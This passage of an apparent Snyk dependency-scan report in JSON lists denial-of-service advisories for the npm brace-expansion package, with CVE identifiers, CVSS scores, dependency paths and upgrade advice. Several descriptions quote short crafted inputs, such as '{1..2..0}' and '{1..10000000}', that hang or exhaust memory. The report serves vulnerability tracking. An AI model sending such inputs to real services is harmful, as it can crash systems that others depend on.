Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ 